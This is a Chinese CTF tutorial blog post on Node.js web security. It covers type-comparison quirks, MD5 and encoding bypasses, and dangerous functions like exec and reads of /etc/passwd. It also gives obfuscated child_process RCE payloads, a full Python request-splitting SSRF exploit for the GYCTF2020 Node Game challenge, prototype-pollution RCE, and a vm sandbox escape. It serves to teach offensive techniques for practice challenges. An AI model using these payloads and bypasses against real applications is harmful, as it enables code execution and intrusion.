ctf-nodejs之一些小知识


我也是非常有幸能为大家去讲解CTF中nodejs的一些小知识,关于ctf-web系列课程已经在bilibili陆续发布 https://www.bilibili.com/video/BV1uL411P7xt/ ,大家在有什么疑问可以随时在评论区留言哦~

1 nodejs基础

1.1 nodejs的简单介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

nodejs语法学习

1.2 nodejs语言的缺点

1.2.1 大小写特性

toUpperCase()
toLowerCase()

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

1.2.2 弱类型比较

大小比较

console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

数组的比较:

console.log([]==[]); //false 
console.log([]>[]); //false
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

还有一些比较特别的相等:

console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,3 
console.log("5"+6); //56 
console.log("5"+[6,6]); //56,6 
console.log("5"+["6","6"]); //56,6

1.2.3 MD5的绕过

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2

数组会被解析成[object Object]

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

1.2.4 编码绕过

16进制编码

console.log("a"==="\x61"); // true

unicode编码

console.log("\u0061"==="a"); // true

base编码

eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

1.3 nodejs危险函数的利用

1.3.1 nodejs危险函数-命令执行

exec()

require('child_process').exec('open /System/Applications/Calculator.app');

eval()

console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

1.3.2 nodejs危险函数-文件读写

readFileSync()

require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
 if (err) throw err;
 console.log(data);
});

readFile()

require('fs').readFileSync('/etc/passwd','utf-8')

writeFileSync()

require('fs').writeFileSync('input.txt','sss');

writeFile()

require('fs').writeFile('input.txt','test',(err)=>{})

1.3.3 nodejs危险函数-RCE bypass

bypass

原型:

require("child_process").execSync('cat flag.txt')

字符拼接:

require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

编码绕过:

require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器

模板拼接:

require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/'

其他函数:

require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3"); 
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* 
require("child_process").spawn('sleep', ['3']); 
require("child_process").spawnSync('sleep', ['3']); 
require("child_process").execFileSync('sleep', ['3']);

1.4 nodejs中的ssrf

1.4.1 通过拆分请求实现的ssrf攻击

原理

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

> v = "/caf\u{E9}\u{01F436}"
'/café🐶'

> Buffer.from(v,'latin1').toString('latin1')
'/café=6'

Crlf HTTP头注入:

> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'

通过crlf结合ssrf利用

题目连接:

https://buuoj.cn/challenges#[GYCTF2020]Node%20Game

源码:

var express = require('express'); 
var app = express(); 
var fs = require('fs'); 
var path = require('path'); // 处理文件路径 
var http = require('http'); 
var pug = require(`pug`); // 模板渲染 
var morgan = require('morgan'); // 日志 
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能

// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组 
app.use(multer({dest: './dist'}).array('file')); 
// 使用简化版日志 
app.use(morgan('short'));  

// 静态文件路由 
app.use("/uploads", express.static(path.join(__dirname, '/uploads'))) 
app.use("/template", express.static(path.join(__dirname, '/template')))  
app.get('/', function (req, res) {    
  // GET方法获取action参数    
  var action = req.query.action ? req.query.action : "index";    
  // action中不能包含/ & \    
  if (action.includes("/") || action.includes("\\")) {        
    res.send("Errrrr, You have been Blocked");    
  }    
  
  // 将/template/[action].pug渲染成html输出到根目录    
  file = path.join(__dirname + '/template/' + action + '.pug');    
  var html = pug.renderFile(file);    
  res.send(html); 
});  

app.post('/file_upload', function (req, res) {    
  var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接    
  var obj = {msg: '',}    
  // 请求必须来自localhost    
  if (!ip.includes('127.0.0.1')) {        
    obj.msg = "only admin's ip can use it"        
    res.send(JSON.stringify(obj));        
    return    
  }    
  fs.readFile(req.files[0].path, function (err, data) {        
    if (err) {            
      obj.msg = 'upload failed';            
      res.send(JSON.stringify(obj));        
    } else {            
      // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面            
      var file_path = '/uploads/' + req.files[0].mimetype + "/";            
      var file_name = req.files[0].originalname            
      var dir_file = __dirname + file_path + file_name            
      if (!fs.existsSync(__dirname + file_path)) {                
        try {                    
          fs.mkdirSync(__dirname + file_path)                
        } catch (error) {                    
          obj.msg = "file type error";                    
          res.send(JSON.stringify(obj));                    
          return                
        }            
      }            
      try {                
        fs.writeFileSync(dir_file, data)                
        obj = {msg: 'upload success', filename: file_path + file_name}            
      } catch (error) {                
        obj.msg = 'upload failed';            
      }            
      res.send(JSON.stringify(obj));        
    }    
  }) 
})  

// 查看题目源码 
app.get('/source', function (req, res) {    
  res.sendFile(path.join(__dirname + '/template/source.txt')); });  
app.get('/core', function (req, res) {    
  var q = req.query.q;    
  var resp = "";    
  if (q) {        
    var url = 'http://localhost:8081/source?' + q        
    console.log(url)        
   
    // 对url字符进行waf        
    var trigger = blacklist(url);        
    if (trigger === true) {            
      res.send("error occurs!");        
    } else {            
      try {                
      
        // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过                
        http.get(url, function (resp) {                    
          resp.setEncoding('utf8');                    
          resp.on('error', function (err) {                        
            if (err.code === "ECONNRESET") {                            
              console.log("Timeout occurs");                        
            }                    
          });                    
          
          // 返回结果输出到/core                    
          resp.on('data', function (chunk) {                        
            try {                            
              resps = chunk.toString();                            
              res.send(resps);                        
            } catch (e) {                            
              res.send(e.message);                        
            }                    
          }).on('error', (e) => {                        
            res.send(e.message);                    
          });                
        });            
      } catch (error) {                
        console.log(error);            
      }        
    }    
  } else {        
    res.send("search param 'q' missing!");    
  } 
})  
// 关键字waf 利用字符串拼接实现绕过 
function blacklist(url) {    
  var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];    
  var arrayLen = evilwords.length;     
  for (var i = 0; i < arrayLen; i++) {        
    const trigger = url.includes(evilwords[i]);        
    if (trigger === true) {            
      return true        
    }    
  } 
}  
var server = app.listen(8081, function () {    
  var host = server.address().address    
  var port = server.address().port    
  console.log("Example app listening at http://%s:%s", host, port) 
})

exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryZUlQgK81vgN7OB8A--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/?action=lethe').text)

https://xz.aliyun.com/t/2894#toc-2

2 nodejs原型链污染

2.1 prototype原型

简介:

对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class 的实现。即便是在 ES2015/ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。

function Foo(name,age){
	this.name=name;
	this.age=age;
}
Object.prototype.toString=function(){
	console.log("I'm "+this.name+" And I'm "+this.age);
}


var fn=new Foo('xiaoming',19);
fn.toString();
console.log(fn.toString===Foo.prototype.__proto__.toString);

console.log(fn.__proto__===Foo.prototype)
console.log(Foo.prototype.__proto__===Object.prototype)
console.log(Object.prototype.__proto__===null)

2.2 原型链污染原理

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar,此时bar为2
console.log(zoo.bar)

2.3 原型链污染配合RCE

有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。

let foo = {bar: 1}

console.log(foo.bar)

foo.__proto__.bar = 'require(\'child_process\').execSync(\'open /System/Applications/Calculator.app/\');'

console.log(foo.bar)

let zoo = {}

console.log(eval(zoo.bar))

3 vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

逃逸例子:

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

执行以上两个例子之后可以获取到主程序环境中的环境变量(两个例子代码等价)

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合chile_process.exec()就可以执行任意命令了:

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

参考文章:

https://xz.aliyun.com/t/7184#toc-0

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html


文章作者: f1veseven
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f1veseven !
评论
  目录